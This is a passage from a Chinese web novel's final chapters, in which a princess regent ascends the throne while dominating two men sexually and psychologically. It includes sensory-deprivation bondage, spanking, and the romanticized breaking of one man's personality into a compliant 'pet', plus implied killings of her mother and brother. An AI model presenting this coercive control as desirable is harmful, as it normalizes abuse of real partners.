顾锦卿又乱七八糟的想了很多事,例如越长风遇刺的那一晚,她拖着虚弱的身子,却依旧牢牢把他掌控在手。 她的手指在他的唇上描摹,像是在赏玩喜欢的宠物,又像是在试探他的底线。 “小狗很可爱啊。” “做姐姐的小狗,好不好?” 他定定注视着那双诱人沉沦的幽深黑眸,自此便坠入了再也无法逃出的深渊。 “小狗,会伺候人么?” 慵懒含笑的声音言犹在耳,顾锦卿只觉一阵口干舌燥,喉结不自觉的滚了滚,可就连这个微小的动作在□□的束缚下也让他难受极了。 他深深吸了一口气,思绪又飘到了昭庆宫里。 越长风在他被责打得发红发烫的身子上爱怜的抚慰着,在他身上题下一幅独一无二的字。 【知我罪我】 她看似放荡不羁,处世的态度就是在游玩人间一样,顾锦卿却第一次窥见了她表象之下的抱负和野望。 顾锦卿以为自己与她之间多了一些别人没有的秘密。 却被越长风一下子打回原形:“这不是小狗可以问的。” 知我罪我,唯有姐姐一人。 就连现在被剥夺五感动弹不得的放在箱子里,也是姐姐对他的惩罚。 因为他认不清楚自己是个什么东西,因为他太贪心了。 三元及第的朝廷新贵,聚贤阁的暗桩,姐姐的小狗,阁主的左膀右臂… …他不能什么都要,不能什么都做。 眼前一片漆黑的顾锦卿像看着走马灯一样在脑海里回放了一遍自己和姐姐的所有回忆,直到昏昏的睡意让他再次忍不住的再次入睡。 ----- 顾锦卿感觉自己这次似乎没有睡得很久,大概过了两三个时辰左右,脑子也比上次醒来要清明一些,没有在乱七八糟的胡思乱想。 只是时间一点一点的过去,脑海里渐渐变得混沌起来,被困在这方寸之地动弹不得,听不见、看不见、开不了口,就连四周流动的空气也无法感知,实在让他太难受了。 他忽然无比渴望身体里的那些东西会自己动起来,就像被姐姐操控着使用一样,他想感受姐姐的气息,哪怕是被她责打,被她使用也好…… 顾锦卿已经失去了对时间和空间的所有观念,不知过了多少天了,无法感知到四周空间的他觉得整个世界都像是消失了般,而无法感知到自己身体的他也开始怀疑自己到底有没有真真切切的存在过。 他想大喊大叫,口中含着的花却让他连这一点也做不到。 都过了这么多天了,花为什么还没有枯萎? 是因为他一直在用自己的唾液来滋养它么? 顾锦卿一边迷迷糊糊的胡思乱想,忽然感觉到箱子动了起来。 ——原来他所身处的世界还是真实的。 那么是谁在动他?是姐姐回来了吗? 一定是姐姐来放他出去了! 指挥着手下搬箱子的陆行舟看着奋力晃动身子的顾锦卿也很是无奈,他知道箱子里的人大概是把自己当成他的“姐姐”了,殊不知自己也不过是主上手下的一条狗而已。 还不是他那种可以摸爬滚打钻进主人怀里撒娇的宠物,而是字面意义上的那种,没有人性也不会和主人有任何心灵上的交流的狗,不能妄想,不能越界。 陆行舟眸光阴暗,把箱子搬到之后便挥退手下,然后打开箱子,把箱中人头上的布缎往上拨开,又把塞在嘴里的口中花解开。 顾锦卿终于恢复了说话的能力,他激动的直喊姐姐,连日不吃不喝让他的声音沙哑得可怕,可怜极了,也带着一种残虐味儿的魅惑。 可惜这些对陆行舟都没有丝毫用处,他阴冷着一张脸把一碗温水递到他的嘴边。 顾锦卿本能地一饮而尽,然后又开始喊了起来:“姐姐,小狗错了,姐姐不要不理小狗……” 语带哭腔不止,仿佛还有一行清泪沿着面颊,从缎料掀开的地方流了出来。 可惜他不会听得见任何回应,陆行舟也不会作出任何回应。 陆行舟默默无言地把一碗稀粥往他口里灌下,然后不给他再次开口的机会便把口中花塞了回去,翻下布料重新把人密密封住。 顾锦卿还在扭动,在他的认知里姐姐就在旁边看着自己,他想告诉姐姐自己不会再说谎了,不会再有二心,也不会在她面前耍那些小心眼了。 可是,他没有这个机会,一刹之后他又什么也感觉不到了,再次陷入无边无际的空洞之中。 顾锦卿的精神开始变得恍惚,一直处于半睡半醒的状态,浑浑噩噩的脑海里也是一片混沌。 直到三天之后,越长风来到自己送给顾锦卿的那座宅子里,打开了被放在正厅中央的那个箱子。 顾锦卿感觉到自己头上包裹着的缎料被撕了下来,塞着耳朵的布团也被取出,虽然身上还是包得紧紧的,但剥夺已久的视觉和听觉都一下子全部回来了。 猛然接触到久违的光亮,顾锦卿一下子还不适应,眼睛眯成了一条缝,过了一会才缓缓睁开,大红罗裙的身影缓缓映入眼帘。 顾锦卿几乎以为自己还在做梦。 但他也不管不顾了,蠕动着身子直往她的怀里转,直到越长风轻轻抬手放在他的后脑壳上,忽然鼻子一酸,眼眶泛红,泪水不受控制的涌了出来。 越长风把他后脑壳上的绳结解开,取出了口中花,顾锦卿立时用带着满满哭腔的干涩声音,语无伦次的叫着姐姐。 越长风的手停在他的背上,轻轻叹了一口气:“你哭什么?” 顾锦卿将狗皮膏药一样黏在她的身上,抽了抽鼻子,哑着声音开口:“姐姐,小狗知道错了。” “求求姐姐,惩罚小狗吧,就是不要不理小狗……” “哦?”越长风饶有兴味的挑眉。“那你说说看,你哪里错了。” “小狗……小狗不该心存侥幸,瞒着姐姐,还想一直吃两家茶礼。” “小狗太贪心了,小狗真的知错了。”他泪眼汪汪的仰视着身上的人:“可是,小狗真的没有做对不起姐姐和朝廷的事,小狗并不认同阁主毁灭一切的想法,小狗走上朝堂是真心想要改变,想要……为姐姐守护这个天下的。” 越长风定定的注视着他,眼眸里目光复杂,直看得他的心七上八下的快要跳出胸膛。 过了不知多久,她才一脸平静的说:“锦卿,本宫在六年前以殷夫人的名义赞助你考状元,本来不是打着收你入府的心思,而是对你真心欣赏,因为本宫看得出来,你将会是一个不世出的奇才。” “你说你错在太贪心了,但你从贫民窟到聚贤阁再到三元及第一路走来,的确有贪心的资本。” “贪心本身并没有错,只是你想要的太多,所想所做的一切都充满了矛盾。” 顾锦卿愣住了,他记得柳孤城在把他逐出聚贤阁的时候也说过一模一样的话。 世间……难道真的没有双全法么? 越长风目光温柔,却没有平时宠溺的笑意,而是一片肃然: “本宫的惩罚不是要听到你哭喊着认错,而是给你一段时间去好好想清楚,你想要的到底是什么。” “所以,你知道你想要的,到底是什么吗。” 第69章 第69章结局篇2:膝盖之上(顾…… 顾锦卿心底清楚,他最一开始接受“殷姐姐”的赞助,想要的是什么。 他做了一辈子无名无姓的科举枪替。他要以自己的名字走上朝堂,需要一个光明正大的身份,以及无可挑剔的背景。 就在打开门看见红衣女郎的第一眼,他就知道这位“殷夫人”不是一般的人物。 拥有一个背景强大的资助人,无疑是给他创造一个全新的、干净的身份的最好方法。 资助人不愧是财雄势大,而且为人慷慨,顺手便给自己置办宅子,他随口提起的珍贵典籍她都以极快的速度给自己弄来,对他的请求几乎都是有求必应。 除此之外,她还拥有超乎常人的政治见识,顾锦卿从前只会考试,向殷姐姐讨教学问之后才真正开拓了自己的视野和知识。 他从她身上获得的有形无形的一切,以至于自己终于会心甘情愿地以□□回报,也好像是那么理想当然的事。 顾锦卿一直都很清楚,他的姐姐不会只有他这一只小狗。她问他会伺候人么的语气是那么自然,显然他并不是第一个也不会是唯一一个选择。 但那也没有关系。 伺候好了姐姐,就能换取更多的学识和资源,以及往上爬的机遇。 还有那一点点的偏爱。 顾锦卿像饮鸩止渴一样,放下身段卑微的、无止境的追逐着那一点偏爱,唯有一样东西他再没有底线也始终无法割舍。 他仰着头,目光真挚而虔诚的仰慕着身上的掌控者。 “姐姐,小狗一直隐瞒身份,也瞒着关于聚贤阁和阁主的一切,是小狗的错。” “可是,如果让我再来一次,我还是无法背弃阁主。” “如果不是他带我走出贫民窟,给了我第二个人生,教晓我……像我这样卑贱如泥,连名字都没有的一个人,也配去出人头地,活出属于我自己的独一无二的人生。” “贫民窟里的顾狗子,也不会有那一个机会受到姐姐青眼,继而登门造访。” 越长风有一下没一下的抚弄着顾锦卿越说越激动而在束缚之中挣扎着上下起伏的后背,凝视着他的目光像动作一样的温柔,也似乎带了一丝可惜之意。 “本宫没有看错,你是一只有情有义的小狗,可惜了。” 她轻笑一声,没有说是可惜什么,忽然话锋一转。 “所以在柳孤城入府的那一天,你连状元游街的簪花还没来得及取下便急急忙忙的赶来,其实并不是害怕他和你争宠。” “而是害怕本宫会对你的阁主哥哥怎么样。” 顾锦卿想了很久,再微乎其微的点了点头。然后又忍不住问:“阁主他……怎么样了?” 越长风不轻不重地拍了一下他的脸侧。“本宫准你问问题了么?” 顾锦卿的脸瞬间红了起来,一脸羞愧的低下了头:“对……对不起。” 越长风轻快的笑出声来。 “本宫对你的阁主哥哥怎么样了,我想你这辈子都应该不会想去知道。” 顾锦卿永远也不会想去知道,就在她把他召进府中议事的那一日,他的阁主哥哥就在桌子下面被她用脚玩弄,还不得不用唇舌来服侍取悦于她。 他也永远不会想去知道,柳孤城在她的脚下,活得比他这条“小狗”更像一条真正的狗。 “所以,小狗必须在阁主和姐姐之间作出一个选择么?” 顾锦卿的眼神纯净得如同一潭清水,还带着一些泪眼汪汪的湿气,越长风就算知道那多多少少是刻意做出来惹她怜悯的,却还是禁不住的有些动容。 但她不能容许自己有任何心软。 每一次的脱轨都在直接挑战她那极强的控制欲,这种感觉并不好受。 那些事情,发生在柳孤城一个人身上就已经够了。 越长风抱着依旧包裹在一团黑布之中的小狗坐在自己膝上,目光温柔的注视着他,眼底却是晦暗不明,涌动的寒流让人禁不住的发颤。 “或者本宫应该换一种问法——” “本宫在六年前便看中了你,知道以你的才华前途定必无可限量。结果我也没有看错,你以三元及第,在翰林院里混得风生水起,面前是一条康庄平坦的青云路。” 听见她毫不吝啬的赞赏,顾锦卿却没有半点欢喜,反而心里咯噔的沉了下去。 果然…… “可是,作为本宫的狗,本宫不会要一条不听话的狗。”她再次露出那副可惜的表情,长长叹了一口气:“所以,你想要出人头地,活出你想要的光辉人生,做那一个名垂青史的千古名臣——还是,被重新剥夺人格,接受本宫的重塑和改造,做一条眼里心里都唯主人意愿至上的乖狗狗?” 顾锦卿的身子明显僵住。 她这是……在开玩笑的吧? 顾锦卿很清楚,就算是一直以姐姐小狗相称,就算他跪伏在她的裙下小意侍奉,越长风对他是有偏爱的,两人之间的关系是人与人之间的亲密,不是人与动物,也不是主人与奴。 姐姐对他一直都是极好的。 他从来没有听过这样残酷无情的调教。 更遑论这是姐姐站在高高在上的主人之位上,对他所下的判决。 顾锦卿从来没有像这一刻一样渴望姐姐说的话不是真的。 可越长风的模样却是认真得很。 甚至见他没有回应,还了然的笑了笑,仿佛早已猜到了他的迟疑。 她伸手解开了他身上的束缚,顾锦卿的身子在十几个时辰以来第一次重获自由,却像无法自控一样僵硬的滑落地上。 他下意识的抱着她的小腿撒娇:“姐姐……” 越长风爱怜地摸摸他的头,嘴里说出的话却是冷静而残忍。 “锦卿,你的犹豫,已经是最好的答案了。” 顾锦卿听清楚了。 她唤他锦卿。 依旧是亲密的语气,却不再是那句昭示着他们之间独一无二的关系的“小狗”。 顾锦卿终于明白了越长风在可惜什么——她在为终于要对他放手感到可惜。 她早就做好这个决定了吧?方才的“试探”,也不过是为了已成定局的结果寻找最好的理由而已。 顾锦卿扁了扁嘴,眼眶红红的,水汪汪的眼睛里似乎有泪珠将要滚落。 “姐姐不要试探小狗了。” “小狗害怕。” 越长风挪开了放在他头上的手。 “自己趴上来。”她用眼神往自己的大腿上示意。 顾锦卿心下一凉,却不敢不听话了,伸展了一下手脚确保自己可以活动自如之后,脸朝下的趴到女郎膝上。 身体上的束缚被解开了,里面的东西却故意留在那里,越长风恶趣味的推拉了一下。 “姐姐……”小狗带着哭腔,像是在哀求她停下来,却也更像是在欲求不满。 “小狗记得,你还差我十下的惩罚么?” 低声笑语在耳边传来。 顾锦卿红了双颊,他自然是记得的。 冰凉的触感贴上他的臀部。 顾锦卿偏过头来,勉强看到了越长风一脸戏谑的神色,还有与自己肌肤相贴的竹板。 那是他上朝用的笏板。 上一次在宫里被姐姐责罚的时候,用的也是这一块笏板。 这算是有始有终吗? 顾锦卿心头一酸,软软糯糯的开口:“姐姐可不可以……” “用手?” 越长风放下笏板,笑着摸摸他泛着嫣红的眼尾。“自己报数。” 一只手环着男子单薄的后背把人固定在膝上,另一只手已经重重落下。 清脆的“啪”一声在空荡荡的屋子里回响,伴随着的还有顾锦卿带着哭腔的惊呼。 越长风哑然失笑:“小书生就是娇气。”这样细皮嫩肉的,就应该坐在书案后好好地为自己的前程谋划,而不是上赶着给人当狗。 相比用在柳孤城身上那些东西,还有玄武卫地牢里那些真正的刑具,徒手打的真的只能勉强算是过家家一样的情趣。 手心再次落下。 “报数呢?” 多打了两下,越长风开始察觉出不对劲来。 顾锦卿额头渗汗,牙齿紧紧咬着下唇,仿佛在用尽全力忍痛,却也“恰好”忘记了每一次打下去时的报数。 越长风的规矩一向是:没有报数的就不算数。 她一下子明白了顾锦卿的小算盘。 “小狗是不是觉得只要一下也不报数,姐姐就会无止境的打下去,你也就可以一直做着姐姐的小狗,嗯?” 顾锦卿身躯一颤,“小狗……” 姐姐说得没错,他就是一个贪心的人。他知道越长风下了的决定就不可能再改,但他不仅贪恋着最后以小狗身份和姐姐相处的时光,还贪恋着和她肌肤相接的每一刻。 ——顾锦卿由始至终都不娇气,不过想要她最后的一点怜惜,也不过想要延长姐姐用手心感受自己臀上痛楚的时间罢了。 越长风闷闷一笑,目光暗沉:“小狗不会想知道挑战主人耐性的后果的,对不对?” 她的话音平静得可怕,让顾锦卿再次止不住的抖了一下。 “……小狗不会的。” 巴掌再次在身后落下,这次顾锦卿乖乖的数了出声:“一。” 越长风满意的摸摸他后脑蓬乱的头发,又安抚性的摸摸他身后那片白里透红的白月光,然后再次打了下去。 “二。” 每一下都像深深刻在他的脑海里一样。 “三。” 再次重复,责打,赞叹,抚慰。 “四。” “五。” “……呃嘶!六。” “……七。” “八。” “九……” 最后一下了。 巴掌还没有落下,顾锦卿忽然很轻很轻的说:“谢谢。” 越长风哑然失笑:“谢谢姐姐责罚你?” 多谢主人赐罚这样的话如果出自被反覆调教过的柳孤城之口倒也没有什么出奇,只是顾锦卿是什么人,他一向只会借故撒娇,一副可怜巴巴的样子惹人垂怜,这倒是越长风第一次听他开口多谢自己。 顾锦卿缓缓摇了摇头。“谢谢姐姐一直以来的教导和扶持。” “哈啊——!十。” 他还没从紊乱的思绪之中回过神来,最后的一下便落了下来。 越长风默默往他身后火辣辣的红月上抹上膏药,末了付出他站起身来,表情专注而真挚的看着他。 “不,我们的故事还没有结束。” “一直以来的教导和扶持不会结束,不 过是换一个新的身份罢了。” 顾锦卿有些糊了,呆愣愣的站了半晌,有些不确定的叫了一声:“姐姐……?” “叫殿下。”越长风顿了顿,深邃的眸中暗波流转,又语焉不详的加了一句:“或者,很快便要改口了。” 第70章 第70章结局篇3:沈约、柳孤城…… 越长风回到府中,沈约已经在书房等着她。 她走进来的时候,恰好看见中年男人站在书案后,手中把玩着一条金链。 那是平日挂在柳孤城身上的其中一条“规矩”。 金链在男人的动作下发出惹人遐想的叮当声,沈约定定的看着她,笑得一脸玩味。 越长风走上前去,也不急着夺过“罪证”,玉指攀上他纤瘦苍白的手,动作带着不言而喻的挑逗,再把他手中金链缠绕在两人指间,顺势而然的变成了十指紧扣。 “老师也想要吗?”她轻笑着问。 沈约挣扎了一下,没有挣开。 他目光不明的看着与自己十指交缠的女郎,声音沉哑:“想把为师拘束起来,嗯?” 越长风低头把玩着他被金链环绕的指尖,上面因长年执笔而生了薄茧,摸得她指腹酥酥麻麻的。她孜孜不倦的来回摸着,一抬头果然看见中年权相那张板着的脸已经悄悄红了起来。 “也不需要这条金链。”她一脸认真的看着他:“学生已经把老师拴起来了。” 沈约干咳了两声。 越长风满意的笑了,松开男人的手,把缠在十指之间的金链收进怀里。 “无论前路如何,老师都不会离开我的,对不对?” 她的话问得轻松,听在沈约耳中却有如千斤之重。 男人注视着她半晌,才慢悠悠的开口,却是不答反问:“事到如今,长风打算怎么办?” 沈约没有回答她的话,越长风也没有失望,只是淡淡笑着:“老师是问,事到如今,我有没有想过自己做皇帝?” 越长风顿了顿;沈约无声地注视着她。 “有。”她的声音是前所未有的坚定。“而且在六年前,便已经有了这样的想法。” “只是影子朝廷的势力不受我们控制,一直以来都像一只无形的推手,一日不清楚它会把这天下推向何方,我便一日不能安心坐上那个位置。” “只有全面控制,才能让我放心。” 而这一次趁着聚贤阁内哄,他们已经把影子朝廷剩余的力量一网打尽——当中也亏得柳孤城在当上聚贤阁主的这些年来集中大权、清理异己,令聚贤阁的势力得以完完整整的被朝廷一次过接收。 从此,天下只有一个朝廷,也只有一个主人。 “那太后和陛下……你打算怎么样?” 越长风的目光掠过一抹黯然,却很快便重新亮了起来,明明是自信的、带着笑意的一片明媚,眼底却只有一片寒凉。 “毕竟是我的亲生母亲和弟弟啊……”她轻轻叹了一口气。 “这是老师还未说出口的话吧?” 沈约显然是被她说中了,又尴尬的咳了两声。 “先帝和废太子,也毕竟是我的亲生父亲和哥哥啊。”越长风漫不经心的笑笑,仿佛说的是再平常不过的事。“可是,我本来就是一个弑父杀兄的恶人。” 不畏人言,心存抱负,一切留待青史评价。 这是顾锦卿曾经对她的评语。 但聪明伶俐的小狗也只看透了一半。 “春秋既不知我,也不罪我。” 沈约默默听罢,没有说话。 他从来都看透了这位学生的全部。 自越长风十二岁那年开始他便看着她长大,从来都知道她是一个怎样的人。 但即便是他,也不会自信地说他了解她,更不会自大地去对她作出任何评价。 是恶也好,是善也好,他既没有审判她的资格,对他来说也没有分别。 沉默了不知多久,沈约才缓缓开口:“无论是怎样的决定,为师也会站在你的身边。” “自你拿着束修来翰林院的那一日起,为师便决定了做你一辈子的老师。” “若你登基为帝,为师就做你一辈子的帝师。” 越长风知道他这三句话里面包含着怎样的重量。 曾经对师徒伦理耿耿于怀的沈约对她作出一辈子的师生之诺。 越长风只有沈约这一个老师,沈约也只会有越长风这一个活着的学生。 他们始于师生,终于师生,却也超越师生——这是沈约所独有的、比任何人都要更坚韧的关系。 这也是沈约对越长风方才所问的回答。 越长风的前路一点也不易走。她要坐上皇位,面对的不只是对女子为帝的反对声音,还有既然她的亲生母亲和弟弟都可以和聚贤阁勾结密谋把她推翻,自然也有别的势力潜伏在暗,等待最佳的时机一举反扑。 ——可是无论前路如何艰难,他也会一直站在她的身边,做她一辈子的帝师。 就像有无形的金链把他拴在她的手中一样。 ----- 接下来的日子,不论是沈约还是越长风都忙得透不过气来。 准备登基的事宜有很多,首先要从准备登基之前开始。 不到五十的太后因为“年老多病”被迁往行宫“休养”,身体状态还每况越下,没多久已经不能人言,四肢发软,连如厕都只能靠宫人服侍。 ——就像承元帝由玄武门之变后直到驾崩之前那样。 萧度以谋逆之名被下了诏狱,三司会审的判决是有罪也只能是有罪,最后定于秋后问斩。 越长风给常茵放了假,让她去看看萧度,毕竟两人曾经做过夫妻,过了这段日子便是天人永别了。 结果常茵用这个假期出了一趟门,带了两个面首回来,养在她的外宅之中。 她一次也没有去过诏狱。 小皇帝越成璧因着贪玩支开宫人偷偷跑了出去,却不幸在在太液池边失足落水,被救上来的时候已是返魂乏术。 国不能一日无君,侍御史在大朝会上上表请摄政长公主另择宗室子弟登基为帝。 长公主还没有表示,中书令、代表政事堂群相之首的沈约却站了出来,跪请摄政长公主登基。 长公主听后连忙从高高的台阶上走了下来把人扶起,嘴上连连推让。 沈约身后的政事堂一众宰相却在这时跪了下去。 还有翰林院那些清流、六部那些新贵、京都三营的武官……密密麻麻的,跪了一大片,从含元殿上一路延伸出去。 长公主三辞三让,最后在群情汹涌之下终于“勉强”应承了接任帝位。 登基大典定在新一年的元旦日举行。 正是先驸马柳时言的忌日。 也是越长风和柳孤城在柳家墓园初遇的日子。 越长风抽空回了长公主府,把消息告诉了柳孤城。 柳孤城正坐在湖中心的水榭里,身上穿着银线云纹的月白锦袍,脊梁像青 竹挺直,一副公子如玉的模样,仿佛山上雪莲一样的矜贵高傲,只可远观而不可亵玩。 越长风走上前去,把雪莲摘在了手心之中,紧紧抱住。 男人身上还有着初遇时的淡淡木香,表情是初遇时的冷漠和疏离,深渊一样的眸子却只有一片空洞,没有那点让人迷醉的燎原星火。 越长风把头靠在他的肩窝上,看着那张和柳时言相似极了的脸。 加上此刻平静漠然的表情,和当初那个光风霁月、惊才绝艳的“柳郎”已有七分相像。 却是空洞得可怕。 像是被抽走了三魂七魄一样的人偶。 就算被关在小黑屋的时候,他哭着喊着求她不要;就算是做狗的时候,他被控在边缘,被迫含羞忍辱地表达自己的欲求不满;就算是做玩物的时候,他被当成物件束缚固定,不能动也不能主动出声,被动地承受主人的玩弄和索取。 他也没有此刻那么像一具没有生命的驱体。 就像脆弱的陶瓷娃娃一样,俊美的面容和精壮的身材恍若巧夺天工的雕塑,这美好却永远定格在一瞬之间,而且一倒即碎。 越长风双手环抱在他的胸腹上,轻轻咬上了他衣领上方的喉结。 “呃——” 没有生命的陶瓷娃娃终于发出了一点声音。 越长风嘴角微勾,沿着他的脖子往上吻去,覆住了嫣红的唇瓣。 牙关被轻易撬开,舌尖以支配者的姿态深深探入口腔,掠夺他口中的每一寸,撩拨他停滞不前的软舌,一路探至他的舌根。 柳孤城没有迎合也没有抗拒,只是发出了点点可怜的声音,身体躁动不安的扭动着,他又没有意识的发×了。 从墓园里的矜贵公子到现在任人亵玩的木然人偶,表面依旧是衣冠楚楚的他,甚至连身上那些金环金链也被取下,却成了一具没有灵魂的空壳。 越长风给他说了朝上发生的事,说了登基大典的日子,说了好多的话,柳孤城依旧目无表情的看着前方,像是什么也没有听见一样。 越长风也习惯了这样的相处方式,末了从怀里掏出那个精工打造的狗项圈,戴在他被她吻出片片红印的脖子上。 她一边用指尖描摹着狗牌上的“鸢”字,一边把男人的耳垂舔得发红发烫,在他耳边轻轻呢喃:“柳孤城,我现在和你一样,都是六亲缘尽了。” “不过,你还有顾锦卿,我也还有老师。” “我们还有彼此。” “是不是?” 无意识的低吟从柳孤城的唇间溢出,对她的问话却没有任何回答,眸中也依旧是漆黑一片。 越长风很想知道他的感受,可惜男人自聚贤阁的那一夜以后便变成了现在这个样子。 她倏地掐住男人的下巴,沉声问:“说,是不是?” 柳孤城被她的突然发难吓到,连发×的动作也骤然止住,下意识的重复:“是,主人……是,主人……” 这是他作为奴隶、玩物和狗被允许说的两句话其中之一。 冷漠的表象骤然破碎——或者应该说是,那个肖似柳家四郎的高冷表象本来就不过是没有内在的形似而已。 剥去这人矜高的表象,迫他展现出自卑不安的真实内在,得到他无条件的绝对服从,本来应该是她理想中的结果。 越长风却不想听了。 掐着下颌的力度加重:“我是谁?” 柳孤城睁大那双漆黑无光的眼睛,眼眶里似乎有水光粼粼在滚动,泪珠却终究没有滑下。他张了张嘴,想了很久也想不出问题的答案,最终还是下意识的唤着:“主……主人。” 越长风一下子收回了手。 她越愤怒的时候,表现出来往往都是越温柔。 可是她前所未有的发怒了,一下子站了起来,目中燃着熊熊烈火,语气中满是阴鸷:“主人是谁?” “看看你的狗牌,你的主人是谁?” 男人高高挺起的脊梁一下子弯折了,他跪在地上,求饶似的拽着她的裙脚,一张脸往她的腿上蹭:“对不起……主人,对不起……” 越长风颓然跌坐椅里,满腔怒火一下子熄灭了,剩下的只有如鲠在喉的难受。 她把柳孤城改造成了自己想要的样子。 他很听话,不会破坏她的规矩,也不再想着逃出她的手心。 他没有理想,不再想着拉住她共赴毁灭,也不再拥有可以与她抗衡的力量。 她已经得到了一个完美的“柳郎”。 可为什么,心里还是有着失控的难受? 越长风心里一片茫然,只是想把地上的柳孤城拉起来放在与自己一样的高度,平起平坐的感受这个人的存在。 柳孤城在下意识里感知到她的情绪变化,第一个反应却是死命抱住她的小腿,一副要他死也绝不挪开的姿态。 “主人不要丢下奴……奴只有主人……” 她伸手拉住了他的项圈,突如其来的窒息感让柳孤城松开手臂,越长风顺势把人拉了起来,手中紧紧攥着那块狗牌,上面的鸢字深深地印在了她的手心。 项圈上的铃铛叮叮当当的响了起来。 她证明了柳孤城需要自己,她让柳孤城除了自己以外一无所有,他甚至不用戴着任何的金环或规矩,身心也只能属于她一个人。 可她还是这么难受。 越长风忽然意识到了一件事。 她似乎知道了自己真正想要的是什么。 她的控制欲从来都是不正常的重,不论是任何人或事物,一旦有一点点超出自己的控制都让她心下难安,而她处理的方法也只有那么几种:要不驾驭,要不放弃,要不干脆让它彻底消失。 她对柳孤城有比其他人更强的欲望,她用最残忍的方法将他一寸一寸的打碎,再重塑成了自己喜欢的模样。 可是她对柳孤城的欲望,却超出了绝对的控制。 也许是她自己所说的爱。 掺杂了感情的欲望比她以往所认知的欲望要复杂得多,她以为自己可以像驾驭别人一样驾驭这一个人,却似乎连自己也无法完全驾驭。 越长风拉着项圈上的锁链把人拽回屋里,心里的难受都成为了手上的发泄,她毫无节制的,一次又一次的把人用得直不起身子,从低呼变成高喊,最后连哀求的声音也发不出来,只剩下身体上的本能。 她恶狠狠的问:“其实你一直都清醒着对不对?” 柳孤城呜咽着,一如既往的答不了话。 越长风想,她不知道身下的男人清不清醒,但她自己大概是不清醒的。 她好像重新找到了控制的感觉,又好像感觉到了彻底的失控。 意识像被从中撕裂一般,她感觉自己快要疯了。【你现在阅读的是 】 第71章【正文完】 第71章 第71章正文完 柳孤城的状况一直没有好转。 他整个人就像行尸走肉一样,曾经燃着火焰的双目空洞无光,除了唯唯诺诺的应答外什么也不会说了,越长风为了聚贤阁的善后和准备登基的事忙于在宫中奔走,柳孤城每天就一个人坐在湖中心的水榭里,一坐便是一整天。 比起折了羽翼的金丝雀,更像是没有生命的陶偶。 最生动的时候只有发×和行房。 就像拆掉了他身上的金环和“规矩”那样,越长风开始不让他叫自己主人。 她执着柳孤城的手,一遍又一遍的描摹狗牌上的鸢字,一遍又一遍的教他叫自己鸢鸢。 可男人的记忆似乎也退化了,他什么也记不住。 只有可在骨髓的恐惧驱动着他叫主人,在一片语无伦次的哀求之中,辨别得出的句子只有两句:“是,主人”;以及,“多谢主人”。 越长风传召了近半个太医院的御医前来问诊,资深的老御医们看着这位准陛下放在心尖上的男人,你眼看我眼的,都是欲言又止。 最后,还是初生之犊的年轻太医站了出来:“柳家主会变成这样,全是 他自己的选择。” “如果他不想醒来,没有人能帮助他。” 准女帝的脸色变得阴晴不定,老御医们就差没有跪下请罪,然后往年轻人脸上打一巴掌和他割席。 越长风却忽然笑了。周身充满压迫的气场在一刹之间散去,老御医们看着拨开乌云重见阳光的天空都长长吁了一口气,只有那位年轻太医留意到她的笑意远远未及眼底。 她坐在水榭里想了很久,想得树上的枯叶都快要掉尽了,终于下了决定。 她把木偶般的柳孤城放在膝上,玉指勾起他鬓边墨发卷在指上把玩,修剪整齐的指甲在他的脸颊上轻轻刮着。 淡淡吩咐在暗处守着的玄武卫,“让顾锦卿每日下值后前来看他,直到本宫回来之前……都让他陪着吧。” 如果柳孤城变成这个样子是因为她剥夺了他最后的理想。 天下间还有一个人记得他的理想,知道他真正的人生意义。 “柳孤城,我们来赌最后一局。” “就赌——你会不会醒来。” ----- 直到除夕,柳孤城还是没有醒过来。 明日就是登基大典了,越长风直到黄昏才回到府中,看见两抹身影肩并肩的坐在水榭之中。 顾锦卿闲适惬意的拿著书卷,正在给坐得笔直的柳孤城讲着什么。 越长风走上前去,顾锦卿站起身来,轻轻唤了一声“殿下”。 越长风忽略了他声音里有些过于刻意的奶声奶气,只淡淡问:“今天给他念了什么?” 顾锦卿阖上书卷:“是江东船务的航海札记。” “曾经有我们……聚贤阁资助的航海家出海探索,遇到了别的文明。” “那里的人生而平等,他们没有皇家也没有世家,甚至没有朝廷;那里的每一座城池都有叫做议会的东西,议会里的人不论出身也不问富贵贫寒,都是由当地那些人选举出来。他们不以父母官自居,而是叫人民公仆。” “议会在公开的广场上议政,就像科举贡生在茶楼辩论那样,但是辩论的结果会直接影响议会接下来的政策。” “每座城池各自为政,自主命运,是为城邦。” 那些见闻实在太过骇人听闻,就连顾锦卿和柳孤城当初在聚贤阁里偷偷读到的时候,都不敢想像这是真的。 聚贤阁那些世家自然对这些见闻嗤之以鼻,几百年来高高在上的阶层又怎会幻想与脚下蝼蚁平起平坐? 然而,这些见闻,却为曾经从泥泞之中一步一步爬上来的,打开了一扇曾经连想也没敢想过的窗。 他们有了共同的秘密,也有了共同的理想。 如今,顾锦卿也不介意和即将登基的越长风分享这个秘密,只因那也是他唯一想到唤醒柳孤城的方法了。 越长风定定的看着他,听着他说那些大逆不道的话,既没有发怒,也没有露出任何轻蔑的神情。 仿佛她也在认真尝试了解柳孤城的内心世界,以及他深藏心中那个最疯狂也最崇高的“理想”。 顾锦卿把书卷收回怀里:“臣逾越了。” 他说得轻松,没有半点惶恐之意。 看见越长风坐在自己身旁,一直僵硬得像一尊木偶的柳孤城忽然变得黏人起来,挺直的腰背瘫软在她怀里,双手拽着她的衣角,嘴里主人主人的轻轻呢喃。 一双黑眸依旧黯淡无光,里面却是满满的属于主人的身影,除了主人以外什么也没有。 越长风被他看得心动神驰,动作温柔的捧起他的脸:“喜欢锦卿给你说的故事么?” 柳孤城的脸上一片茫然,仿佛听不明白她的问题。 指背轻扫他性感诱人的嫣红眼尾,她不厌其烦的温声再问:“那今天有没有想主人?” 听见主人两字,柳孤城顿时反应过来,拼命蹭着她的手,“好想主人……好喜欢主人。” 越长风表情一凛,同样漆黑的眸中充满幽暗的占有欲,低头狠狠的吻了上去。 “你真的知道什么是喜欢吗?” “喜欢上我之前,可有想过今天这个结果?” 柳孤城回答不了。 顾锦卿呆呆地看着面前两人旁若无人的样子,见得多了其实也就见怪不怪,然后他也渐渐明白了姐姐那一番话的意思。 【被重新剥夺人格,接受本宫的重塑和改造,做一条眼里心里都唯主人意愿至上的乖狗狗】 原来说的就是他的阁主哥哥。 而他也的确不可能心甘情愿去变成阁主哥哥现在这个样子。 这些天来顾锦卿早已习惯了面前这一幕,在心里长长叹了一口气,正要像一如既往那样悄悄退下。 越长风却忽然抬起头来,带着泛泛水光的嘴唇往上一勾。 “今天除夕,锦卿留下来一起用膳?” 是夜守岁,饭桌上放满了丰富的菜肴。 